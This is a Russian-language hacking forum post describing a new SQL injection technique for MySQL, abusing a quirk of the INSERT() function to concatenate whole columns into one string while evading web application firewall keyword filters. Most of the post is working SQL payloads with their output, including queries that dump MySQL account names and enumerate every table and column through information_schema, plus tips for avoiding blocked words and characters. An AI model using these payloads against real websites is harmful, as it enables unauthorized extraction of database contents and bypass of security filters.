Все вы знаете о выводе колонок
MySQL таблицы в одну строку, итак, встречаем - Четвертый метод! Но об этом немного позже, а сейчас вспомним то, что имеется на сегодняшний день.
Из статьи
Dr.Z3r0:
MySQL SQL Injection [полный FAQ]:
1. group_concat
- + Простое использование, небольшой размер
- - Ограничение в 1024 символа
- - Достаточно распространенные в WAF блокируемые слова: concat, group и _
2. BENCHMARK
- + Возможность отсутствия использования concat, group и _
- - Большой размер
- - Выборка по одной из уникальных колонк
- - Спец-символы @ : = BENCHMARK
3. Неявный цикл в условии
- + Небольшой синтаксис
- + Отсутствие ограничений
- - Спец-символы @ : =
А теперь новинка, использование бага функции
insert(). Синтаксис функции достаточно простой:
Код:
INSERT(str,pos,len,newstr)
str - Изначальная строка
pos - Позиция
len - Длина
newstr - Новая строка
INSERT вставляет в str после pos с длиной len строку newstr:
insert('RDoT', 1, 2, 'DR') = DRoT
insert(':', 1, 0, 'RDoT') = RDoT:
Смотрим дальше, натыкаемся на интересную особенность:
Код:
mysql> SELECT insert(':', 1, 0, 'RDoT') from mysql.user;
+---------------------------+
| insert(':', 1, 0, 'RDoT') |
+---------------------------+
| RDoT: |
| RDoT: |
| RDoT: |
| RDoT: |
| RDoT: |
| RDoT: |
| RDoT: |
| RDoT: |
+---------------------------+
8 rows in set (0.00 sec)
mysql> SELECT insert(0x3A, 1, 0, 'RDoT') from mysql.user;
+-----------------------------------+
| insert(0x3A, 1, 0, 'RDoT') |
+-----------------------------------+
| RDoT: |
| RDoTRDoT: |
| RDoTRDoTRDoT: |
| RDoTRDoTRDoTRDoT: |
| RDoTRDoTRDoTRDoTRDoT: |
+-----------------------------------+
5 rows in set (0.00 sec)

Попробуем вставиnm
rand():
Код:
mysql> SELECT insert(0x3A, 1, 0, rand()) from mysql.user LIMIT 5;
+----------------------------------------------------------------------------------------------+
| insert(0x3A, 1, 0, rand()) |
+----------------------------------------------------------------------------------------------+
| 0.4782688650100202: |
| 0.189468408179905650.4782688650100202: |
| 0.51253547660311260.189468408179905650.4782688650100202: |
| 0.99427218920949120.51253547660311260.189468408179905650.4782688650100202: |
| 0.43375454697176310.99427218920949120.51253547660311260.189468408179905650.4782688650100202: |
+----------------------------------------------------------------------------------------------+
5 rows in set (0.00 sec)

А если выводить данные?
Код:
mysql> SELECT user from mysql.user;
+------------------+
| user |
+------------------+
| root |
| root |
| |
| root |
| |
| debian-sys-maint |
| phpmyadmin |
| root |
+------------------+
8 rows in set (0.00 sec)
mysql> SELECT insert(0x3A, 1, 0, concat(user,0x3B)) from mysql.user;
+-----------------------------------------------------+
| insert(0x3A, 1, 0, concat(user,0x3B)) |
+-----------------------------------------------------+
| root;: |
| root;root;: |
| ;root;root;: |
| root;;root;root;: |
| ;root;;root;root;: |
| debian-sys-maint;;root;;root;root;: |
| phpmyadmin;debian-sys-maint;;root;;root;root;: |
| root;phpmyadmin;debian-sys-maint;;root;;root;root;: |
+-----------------------------------------------------+
8 rows in set (0.00 sec)
Идет склейка, правда с конца.
WHERE или
LIMIT отдать последнюю запись нам не помогут, но
HAVING можно попробовать:
Код:
mysql> SELECT insert(0x3A, 1, 0, concat(user,0x3B))s from mysql.user having length(s) > 50; // Фильтр по количеству символов
+----------------------------------------------------------+
| s |
+----------------------------------------------------------+
| root;root;phpmyadmin;debian-sys-maint;;root;;root;root;: |
+----------------------------------------------------------+
1 row in set (0.00 sec)
mysql> SELECT concat(@a,count(*)) from mysql.user where @a:=insert(0x3A, 1, 0, concat(user,0x3B)); // Запись в WHERE и вывод с помощью переменной и функции группировки
+------------------------------------------------------+
| concat(@a,count(*)) |
+------------------------------------------------------+
| root;phpmyadmin;debian-sys-maint;;root;;root;root;:0 |
+------------------------------------------------------+
1 row in set (0.00 sec)
И самый козырный способ:
PHP код:
SELECT insert(0x3A, 1, 0, concat(TABLE_SCHEMA,0x3B,TABLE_NAME,0x3B,COLUMN_NA ME,0x0A))s from information_schema.columns ORDER BY s*0 LIMIT 1;
...
information_schema;COLUMNS;EXTRA
information_schema;COLUMNS;COLUMN_KEY
information_schema;COLUMNS;COLUMN_TYPE
information_schema;COLUMNS;COLLATION_NAME
information_schema;COLUMNS;CHARACTER_SET_NAME
information_schema;COLUMNS;NUMERIC_SCALE
information_schema;COLUMNS;NUMERIC_PRECISION
information_schema;COLUMNS;CHARACTER_OCTET_LENGTH
information_schema;COLUMNS;CHARACTER_MAXIMUM_LENGTH
information_schema;COLUMNS;DATA_TYPE
...
Вместо ORDER BY s*0 можно использовать ORDER BY-s, работает достаточно-быстро.
- + Небольшой размер, отсутствие ограничений, использования подзапросов
- + Полное отсутствие запрещенных слов и символов(Вместо concat можно тот-же insert для склейки использовать)
- - Запятая, скобки, from - Без них не обойтись
Проверено на MySQL 5.1, 5.5
